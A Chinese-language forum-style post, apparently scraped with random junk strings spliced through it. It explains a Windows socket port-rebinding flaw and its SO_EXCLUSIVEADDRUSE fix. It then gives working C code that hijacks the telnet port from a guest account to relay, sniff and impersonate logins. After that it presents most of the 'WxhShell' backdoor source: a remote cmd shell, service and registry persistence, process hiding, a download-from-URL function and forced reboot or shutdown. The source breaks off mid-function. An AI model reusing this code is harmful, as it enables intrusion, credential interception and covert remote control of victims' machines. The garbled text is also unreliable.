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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: tG!ApL s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S
b0p? =&Dt+f& saddr.sin_family = AF_INET; "ecG\}R= -nBb -y saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZR|)+W; q. zBm@: bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TVaD',5_V% LJ^n6 m|_ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kjCXP &)(>e}es 这意味着什么?意味着可以进行如下的攻击: 2|="!c8K :exgdm;N 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 c?@WNv +rT%C&ze 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &yu3nA:7D c
eH8 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )-2sk@y .I~#o$6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ZkbaUIQ Gk"o/]Sf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K7G|cZ/^ >F@qFPN] 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4 h}03 oG W6N3u7mrb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 '.Ww*N aQ@9(j>
F #include l/=2P_8+Z #include U)v['5% #include WCa>~dF> #include j$2rU' DWORD WINAPI ClientThread(LPVOID lpParam); cJ CKxj int main() +ZuT\P&kR5 { I+qg'mo WORD wVersionRequested; kNC.^8ryz[ DWORD ret; ^]x%z*6 WSADATA wsaData; j@yK#==k BOOL val; M:%6$`` SOCKADDR_IN saddr; 8KxBN)fO; SOCKADDR_IN scaddr; |I; tBqN{u int err; />wM#)o2 SOCKET s; "6[a%f#Q SOCKET sc; {zTo[i int caddsize; B8XW+U HANDLE mt; A`|Z2 DWORD tid; s& INcjC wVersionRequested = MAKEWORD( 2, 2 ); X#625h err = WSAStartup( wVersionRequested, &wsaData ); 7(ni_|$| if ( err != 0 ) { [w0@7p"7 printf("error!WSAStartup failed!\n"); ,r=9$i_ return -1; U8f!yXF' } +XaRwcLC. saddr.sin_family = AF_INET; ySfot`LQ [r[IWy(} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .f1 }OQaQf9V{ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U9?fUS saddr.sin_port = htons(23); % oPt],> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {P'_s]B) { xiWP^dIF printf("error!socket failed!\n"); kAu-=X return -1; 5=;LHS* } D=B$ Pv9% val = TRUE; $)HD`E //SO_REUSEADDR选项就是可以实现端口重绑定的 %l4;-x<e if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^M:Y$9r_s { i~};5j( printf("error!setsockopt failed!\n"); h/)kd3$*' return -1; *3uBS2Ld } C:*=tD1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; %anY'GK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fU6O: - //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {Xw6]d {D6p?TL+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9.:]eL { &dH[lB ret=GetLastError(); 5Kadh2nz printf("error!bind failed!\n"); & bKl(, return -1; $;4y2?E } 9<e%('@[ listen(s,2); &:>3tFQSH while(1) \?$`dA [ { ;\N)RZ caddsize = sizeof(scaddr); R m&^[mv //接受连接请求 uW%(ySbq sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l i @: if(sc!=INVALID_SOCKET) Qu
x1N { m1 tYDZ"i mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ab}Kt($ if(mt==NULL) 6`c5\G+ { |)Q#U$ m printf("Thread Creat Failed!\n");
6#J>b[Q break; yt5Sy } s6DmZ^Y% } Rudj"OGO CloseHandle(mt); xJ$/#UdP } ; ,vGw<|o closesocket(s); ;u(#-C2^{l WSACleanup(); *]7$/%.D return 0; -ho%9LW%| } 8[k:FGp> DWORD WINAPI ClientThread(LPVOID lpParam) OV"uIY[%8V { $fzO:br5WJ SOCKET ss = (SOCKET)lpParam; rexNsKRK_ SOCKET sc; [%uj+?}6O unsigned char buf[4096]; ,+d\@ : SOCKADDR_IN saddr; PeX^aEc long num; H|.cD)&eYy DWORD val; &'V1p4' DWORD ret; j`D%Wx_ //如果是隐藏端口应用的话,可以在此处加一些判断 F3?PlH:Y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 IjPCaH.:t saddr.sin_family = AF_INET; wHR# -g' saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O)aWTI saddr.sin_port = htons(23); rA\6y6dFs if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z!& u_ { /<R[X>]<F printf("error!socket failed!\n"); mA?fCs return -1; 8|"26UwD/ } iwXMe(k val = 100; *el~sor;S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {!L25 { oSl@EI ret = GetLastError(); ?mA%`*=q return -1; nI
es}n: } tP.jJC~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n^t!+ { D}MCVNd^ ret = GetLastError(); lEYAq'= return -1; S;8gX1Uf } W]CsKN,K if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~Z>!SMXp< { ng{"W| printf("error!socket connect failed!\n"); u)4eu,MBT closesocket(sc); \-W|)H closesocket(ss); Q1'4xWu return -1; W^k|*Y| } *}P=7TuS while(1) M%z$yU`ac { qRcY(mb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q
H57[Yg //如果是嗅探内容的话,可以再此处进行内容分析和记录 >Y6iLQ$X //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pQNTN.L9NZ num = recv(ss,buf,4096,0); -<{;.~nI. if(num>0) u85dG7 send(sc,buf,num,0); cuoZ:Wh else if(num==0) s L=}d[ break; 6Bf aB: num = recv(sc,buf,4096,0); mUdj2vB$+' if(num>0) *DcB?8% send(ss,buf,num,0); 8W2oGL6 else if(num==0) /wX5>^ break; Rn_FYP } BW x=Q closesocket(ss); 6%B) closesocket(sc); ):-Ub4A\ return 0 ; *A([1l&]i } wj2z?0}o ;i,3KJ[L O%)Wo?)HM ========================================================== ["1Iz{ };;k5z I% 下边附上一个代码,,WXhSHELL ms{iQ:'9 _]t^F9l ========================================================== wZ%a:Z4TcM #oD; ?Mi #include "stdafx.h" $4:Se#nl He)!Ez\X #include <stdio.h> _Q9I
W #include <string.h> z=6zc-$y 9 #include <windows.h> .z, ot| #include <winsock2.h> {fI"p;| #include <winsvc.h> H(gETRh #include <urlmon.h> ae>B0#= IBz)3gj J #pragma comment (lib, "Ws2_32.lib") z(n Ba]^[F #pragma comment (lib, "urlmon.lib") e|d~&Bk0 UBWUq #define MAX_USER 100 // 最大客户端连接数 \ RS
,Y #define BUF_SOCK 200 // sock buffer t`")Re_j #define KEY_BUFF 255 // 输入 buffer cd(YH! 3 dqgH"g #define REBOOT 0 // 重启 6FkBb!ASk #define SHUTDOWN 1 // 关机 #SX-Y)> 1@ ez14f$cJ+ #define DEF_PORT 5000 // 监听端口 mMw--Gc? ECk*
H #define REG_LEN 16 // 注册表键长度 #Dp]S,e #define SVC_LEN 80 // NT服务名长度 K"jS,a?s 6 P$zhMnAAN // 从dll定义API Tn"^`\m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LDY3Ya`6m typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hjq@.5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *t300`x typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0=k 1\Z/}FT // wxhshell配置信息 E1D0un struct WSCFG { /8wfI_P>M" int ws_port; // 监听端口 X$*]$Ge> char ws_passstr[REG_LEN]; // 口令 K/0Wp % int ws_autoins; // 安装标记, 1=yes 0=no L./{^) char ws_regname[REG_LEN]; // 注册表键名 ML.|\:r* char ws_svcname[REG_LEN]; // 服务名 Nj{; char ws_svcdisp[SVC_LEN]; // 服务显示名 bJcO,M:2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 "i,ZG$S#E char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ZkryoIQ%= int ws_downexe; // 下载执行标记, 1=yes 0=no :[&QoEZW char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" l?B=5*0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 joBS{] E1s~ + }; vP%}XEF <-DQ(0xg // default Wxhshell configuration 9p, PW A struct WSCFG wscfg={DEF_PORT, C@Wd Pjxj "xuhuanlingzhe", o8X? 1 1, k\X yR4r "Wxhshell", mLfY^&2Pr "Wxhshell", @=6oB3tQA "WxhShell Service", bT^(D^ "Wrsky Windows CmdShell Service", ^B!()39R? "Please Input Your Password: ", _+OCI%=: 1, Zi}jf25 " http://www.wrsky.com/wxhshell.exe", E:y^= Y "Wxhshell.exe" n.XgGT=L }; 89j*uT trZU_eouI // 消息定义模块 c{j)beaS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uann'ho?q char *msg_ws_prompt="\n\r? for help\n\r#>"; s6k(K>Pl char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; S1#5oy2 char *msg_ws_ext="\n\rExit."; c8Nl$|B char *msg_ws_end="\n\rQuit."; Nw '$r char *msg_ws_boot="\n\rReboot..."; Q^8/"aV\ char *msg_ws_poff="\n\rShutdown..."; 8@/MrEOW# char *msg_ws_down="\n\rSave to "; FXul
u6"SX Fl!D2jnN char *msg_ws_err="\n\rErr!"; &88c@Ksn char *msg_ws_ok="\n\rOK!"; 2U3e!V eV"s5X[$ char ExeFile[MAX_PATH]; (}rBnD int nUser = 0; HWFLu HANDLE handles[MAX_USER]; s Fx0 int OsIsNt; 9)>+r6t ECk3Da SERVICE_STATUS serviceStatus; ]xGpN ]u SERVICE_STATUS_HANDLE hServiceStatusHandle; niyI$OC Za]~[F // 函数声明 vX_;Y#uD int Install(void); ?R_fg int Uninstall(void); A
b+qLh&? int DownloadFile(char *sURL, SOCKET wsh); ^VEaOKMr int Boot(int flag); V -_MwII- void HideProc(void); ipE|)Ns int GetOsVer(void);
[?bq4u` int Wxhshell(SOCKET wsl); U6.hH%\}@ void TalkWithClient(void *cs); v'm-A d+4t int CmdShell(SOCKET sock); yxi&80$ int StartFromService(void); %, S{9q int StartWxhshell(LPSTR lpCmdLine); o]WcODJdl y>cLG5v VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
#jsN VOID WINAPI NTServiceHandler( DWORD fdwControl ); Bus]OF>hu 4dy!2KZN // 数据结构和表定义 P`avn
SERVICE_TABLE_ENTRY DispatchTable[] = -f*5lkO { |;\pAZ2 {wscfg.ws_svcname, NTServiceMain}, y&/bp<Z {NULL, NULL} MnlD87x@X }; b~2LD3"3 6z]y
=J // 自我安装 _sn<"B%> int Install(void) jO9!:L>b` { "ruYMSpU char svExeFile[MAX_PATH]; P)Rq\1: HKEY key; HL-'\wtl strcpy(svExeFile,ExeFile); NLu[<u U* JXHf$k // 如果是win9x系统,修改注册表设为自启动 P/xEn_*v if(!OsIsNt) { BF 0#G2`h> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `KZu/r-M9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K'B*D*w RegCloseKey(key); zN9#qlfv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Vi{._r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gjx-tp 1. RegCloseKey(key); qMoo#UX return 0; -3 Sb%V\ } ]$#9B-uB } SAdo9m' } -q8l"i>h= else { ^j2ve's: L c
)i // 如果是NT以上系统,安装为系统服务 >cpv4Pgm SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $@l=FV_; if (schSCManager!=0) yo8mfH_, { s>W :vV@ SC_HANDLE schService = CreateService * U}-Y* ( #U4
f9.FY* schSCManager,
N3zZ>#{ wscfg.ws_svcname, )!U@:x\K wscfg.ws_svcdisp, =oM#]M'G+( SERVICE_ALL_ACCESS, = l:k($%% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , maa$kg8U*! SERVICE_AUTO_START, KoA +Vv9 SERVICE_ERROR_NORMAL, 7w]3D svExeFile, N|%r5% NULL, zhbSiw NULL, S}cR+d1}h NULL, ~2nt33" NULL, SurreD<x NULL ?:&2iW7z ); @^DVA}*b) if (schService!=0) (5CgC< { =>kg] CloseServiceHandle(schService); 4GH &u, CloseServiceHandle(schSCManager); +XSe;xk;rD strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); aXzb]"> strcat(svExeFile,wscfg.ws_svcname); vxug>2 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =qbN?a/?2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VFMn"bYOB RegCloseKey(key); 'p78^4'PL return 0; )Gk?x$pY@ } vexF|'!}0# } EZzR"W/ CloseServiceHandle(schSCManager); f*ABIm } NEPK } D>;_R
HK "shX~zd5 return 1; WnOvU<Z
< } 'Z:wEt! KFRf5^ % // 自我卸载 `(gQw~|z int Uninstall(void) cK2;)&U7 { Ux{0)"fj HKEY key; 3)L#V
. =CD.pw)B1 if(!OsIsNt) { rqnxR q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +v'2s@e`
# RegDeleteValue(key,wscfg.ws_regname); =v'Aub RegCloseKey(key); q317~z_nl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M,X)rM}Q RegDeleteValue(key,wscfg.ws_regname); }_F:]lI*R RegCloseKey(key); hW9! return 0; d[5v A/8O } |@d}O8 } =HJ7tele } x %9Ca)r?} else { zY7M]Az Q`NdsS2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :WsHP\r if (schSCManager!=0) /Oi(5?Jn { Z{:;LC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RZKx!X4=q if (schService!=0) s$,G5Feub { PIXqd, if(DeleteService(schService)!=0) { N{ $?u CloseServiceHandle(schService); p|NY.N CloseServiceHandle(schSCManager); H+-x.l` return 0; GN
Ewq$ } ~7PiIky. CloseServiceHandle(schService); }Y|M+0 } sa _J6~ CloseServiceHandle(schSCManager); PkZ1Db } b:r8r}49 } e@;'# t xf8[&? return 1; $E[M[1j } AWPgrv/ S8+l!$7 // 从指定url下载文件 ya5HAs int DownloadFile(char *sURL, SOCKET wsh) Iz83T9I& { Q`6hJgyL HRESULT hr; $tXW/ char seps[]= "/"; l_$>$d char *token; 2{Dnfl'k char *file; <#;5)!gr{ char myURL[MAX_PATH]; Mk=*2=d char myFILE[MAX_PATH]; h-sO7M0E] !syyOfu`} strcpy(myURL,sURL); fAz4>_4 token=strtok(myURL,seps); NFtA2EMLu[ while(token!=NULL) |(TEG.<g { Y2'HP)tfIw file=token; rBU)@I pDG token=strtok(NULL,seps); \x:U`T } \IYv9ScAx Vgkj4EE GetCurrentDirectory(MAX_PATH,myFILE); N6p0` strcat(myFILE, "\\"); )V+/@ 4 strcat(myFILE, file); I<,~>'cq. send(wsh,myFILE,strlen(myFILE),0); 'p\&Mc_Gu send(wsh,"...",3,0); Cg%Owe/E?0 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ki }Li*)7 if(hr==S_OK) !.MbPPNp return 0; a&2x;diF else EYZ&%.Sy5 return 1; +-SO}P 9o6[4Q} } GUD]sXSj W8u&5#$I // 系统电源模块 w1(5,~OB int Boot(int flag) /ueOc<[8" { (UhJ Pco" HANDLE hToken; }EHL
}Q TOKEN_PRIVILEGES tkp; vJct)i v@ qDR|?^ if(OsIsNt) { 1zG6^U OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?(Tin80=r LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J>G'H) tkp.PrivilegeCount = 1; EAm31v C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &OE-+z AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P*>?/I`G if(flag==REBOOT) { fVa z'R if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k h*WpX return 0; /*BK6hc } %Ie,J5g5 else { ]q4LNo if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZREy I(_ return 0; {Y=k`t, } AZ^>osr } Anpp`>}N else { AS:k&t if(flag==REBOOT) { f<$*,P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ( xzruI5P return 0; /.rj\, } ,3eN& else { }.U(Gxu$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) OC-d5P
return 0; wu11)HFL|z } [`E_/95 } [McH l1a H^`J(J+ return 1; ])bgUH } #Tag"b` f\=,_AQ // win9x进程隐藏模块 \fSruhD void HideProc(void) vN@04a\h { N+5f.c+S- {R[ V HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RhT:] if ( hKernel != NULL ) ;14Q@yrZ0 { fhRu- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (E 8jkc
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IG;=
| FreeLibrary(hKernel); Oml3=TV } [T)>RF >Wx9a"H^( return; `mYp?NjR_ } LkK[,Qj zL50|U0H // 获取操作系统版本 d!Ws-kzE int GetOsVer(void) Mh3L(z]/E { |HJ`uGN<b OSVERSIONINFO winfo; )k[XO winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `WxGU GetVersionEx(&winfo); N>sT@ >
) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fpjFO&ML return 1; |F'eT
4 else e.(d?/!F_ return 0; ygm6(+ } n}1hmAhZ qh&KNJ>1 // 客户端句柄模块 9^ C6ZgNS int Wxhshell(SOCKET wsl) f* h nzj { k%sA+= SOCKET wsh; <&B]p struct sockaddr_in client; Rf>V]R DWORD myID; ]d%Ou]609 ts@e
, while(nUser<MAX_USER) W$l4@A { Z$m&F0g int nSize=sizeof(client); >Rdi]:]Bv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1GLb^:~A if(wsh==INVALID_SOCKET) return 1; kDE:KV<"c kf~>%tES] handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EL2z& if(handles[nUser]==0) 2JeEmG9 closesocket(wsh); [!} uj`e else B%))HLo' nUser++; (U.VCSn } nHfAx/9! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h]|2b0 i1b3>H*3 return 0; {+kWK;1 } 4IM_6
_$HC NFdh // 关闭 socket xs"\c7pC void CloseIt(SOCKET wsh) $SniQ { 9NU-1vd~ closesocket(wsh); RJN
LcIm nUser--; o@} qPvt0 ExitThread(0); HC>k/Gk" } 4`r-*Lx K
#JO# // 客户端请求句柄 {cw+kY]m4- void TalkWithClient(void *cs) eR3MU]zF { +K;%sAZy RzLeR%O SOCKET wsh=(SOCKET)cs; Z%r8oj\n char pwd[SVC_LEN]; :
9zEne4 char cmd[KEY_BUFF]; iq8Hq)I] char chr[1]; *s2 C+@ef int i,j; 1'k,P;s =)Goip while (nUser < MAX_USER) { ::/vDUDc j{/wG:: if(wscfg.ws_passstr) { =_2(S 6~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N$Tzxs //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]tbl1=| //ZeroMemory(pwd,KEY_BUFF); }k8&T\V! i=0; wG22ffaki
while(i<SVC_LEN) { J+hifO z KG]7 // 设置超时 gvP.\,U fd_set FdRead; PC!X<C8* struct timeval TimeOut; n{c-3w.uD FD_ZERO(&FdRead); |B),N f|a FD_SET(wsh,&FdRead); '1\UFz TimeOut.tv_sec=8; f{]W*!VV- TimeOut.tv_usec=0; GMob&0l8_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )f%Q7 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *NIhYg6 xT+@0?|F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "+4r4 pwd =chr[0]; &v+Hl^ if(chr[0]==0xd || chr[0]==0xa) { cn_ *,\} pwd=0; LQ"xm break; H.2aoZ-w } m W4tW i++; s!
sG)AR.J } j2%#xZ{33 mi sPJO&QD // 如果是非法用户,关闭 socket DJR r if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )VxC v } \&Oc}] ]#$rTWMl' send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0Jm)2@ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "LVN:|! +n<;);h while(1) { 45Q#6BtE 2|8$@*-\ ZeroMemory(cmd,KEY_BUFF); kjR-p=} };8PPR)\y // 自动支持客户端 telnet标准 L0xh?B j=0; -$y/*' while(j<KEY_BUFF) { O'W[/\A56M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2fdC @V cmd[j]=chr[0]; 0av2w5>af if(chr[0]==0xa || chr[0]==0xd) { z8w@pT cmd[j]=0; e= _7Q.cn break; |\q@XCGei } 9
J~KM=p j++; x[YW 3nF } 4p`z%U~=u t-J\j"~%+ // 下载文件 ]B-3Lh if(strstr(cmd,"http://")) { \MmKz^tO send(wsh,msg_ws_down,strlen(msg_ws_down),0); p!cNn7{; if(DownloadFile(cmd,wsh)) zLV k7u{e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'C1yqkIa` else '\B!1B>T send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xo(3<1mD } (0bXsfe else { Cv1CRmqq% ]=0$-ImQ@x switch(cmd[0]) { @)S d3xw[ BQ77n2(@ // 帮助 mF]8 case '?': { gS^Y? send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :.NCS`z_ break; q8fnUK?i } G!m;J8#m( // 安装 si>gYO case 'i': { >W@3_{0 if(Install()) ~px)Jd send(wsh,msg_ws_err,strlen(msg_ws_err),0); WzO[-csy else U~[ tp1Z) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wE09% break; zRF+D+ } $8Y|&P // 卸载 Qx}hiv/ case 'r': { X0gWTs if(Uninstall()) `}&}2k send(wsh,msg_ws_err,strlen(msg_ws_err),0); LDq(WPI1# else nM&UdKf3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 's6hCs&|NV break; 23[X mBf } ^Dw18gqr=@ // 显示 wxhshell 所在路径 1c03<(FCd case 'p': { 7e`h,e= char svExeFile[MAX_PATH]; ;CdxKr-d strcpy(svExeFile,"\n\r"); M/a5o|>8 strcat(svExeFile,ExeFile); sBm/9vu send(wsh,svExeFile,strlen(svExeFile),0); #_[W*-|L break; RiM!LX } (
G# W6 // 重启 ^6I8 a" case 'b': { Q?TXM1Bp send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c ,RY
j if(Boot(REBOOT)) P0^7hSo send(wsh,msg_ws_err,strlen(msg_ws_err),0); $79-)4;z4 else { t:.ZvA3 closesocket(wsh); Z }Z]["q ExitThread(0); RI64QD } 1q;r4$n break; l>:\%
ol } wZ =*ejo // 关机 K+J fU
J case 'd': { Luu.p< send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #sp8 !8|y if(Boot(SHUTDOWN)) 2XGbqZj send(wsh,msg_ws_err,strlen(msg_ws_err),0); xSoXf0zq: else { `tZ`a closesocket(wsh); Hg;; > ExitThread(0); AIa#t#8${ } (dVrGa54 break; '2.11cM3 } dX:#KdK // 获取shell maTZNzy case 's': { TdH~sz CmdShell(wsh); 9J'3b < closesocket(wsh); `h|>;u ExitThread(0); 1$G'Kg/ break; X-=J7G`\h# } 1(12`3 // 退出 qQ "O;_ case 'x': { AilfeHG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $*i"rlJC CloseIt(wsh); _ 0Ced&i break; w_eUU)z } o|0QstSCl // 离开 9F"Q2^l' case 'q': { /*yPy? send(wsh,msg_ws_end,strlen(msg_ws_end),0); a2N4Jg@ closesocket(wsh); @ag*zl WSACleanup(); [v$NxmRu exit(1); #[{xEVf break; mjz<,s`D } '+{dr\nJ } o{&UT VyGs } PofHe \9t6#8 // 提示信息 /i)1BaF if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2r|!:^'?W } wk"zpI7L } ]/{987 Z w&_Wt return; _{5t/^w&! } 15 ^5yRXC CAD:ifV // shell模块句柄 X@n\~[.B int CmdShell(SOCKET sock) AE"E($S` { /4Lmu+G4 STARTUPINFO si; XUyoZl? ZeroMemory(&si,sizeof(si)); a\PvRW*I si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; M :Aik& si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z*rA~`@K6 PROCESS_INFORMATION ProcessInfo; Ut
xe char cmdline[]="cmd"; K2GcU_*t CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H^no&$2`1 return 0; h8MkfHH7{ } ]XH}G9X^ JrdH6Zg // 自身启动模式 hj.Du+1 int StartFromService(void) sR1
&2hB { br9`77J8 typedef struct aab?hR { Ag!#epi{0 DWORD ExitStatus; GCgpe(cQ DWORD PebBaseAddress; G$D6#/rR DWORD AffinityMask; 4U*uH DWORD BasePriority; H}$hk ULONG UniqueProcessId; An%V>a-[ ULONG InheritedFromUniqueProcessId; >WW5Apy[ } PROCESS_BASIC_INFORMATION; UUt631 <C'S#5,2 PROCNTQSIP NtQueryInformationProcess; Ay Obaa5 3[jk}2R';p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^:RDu q static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G
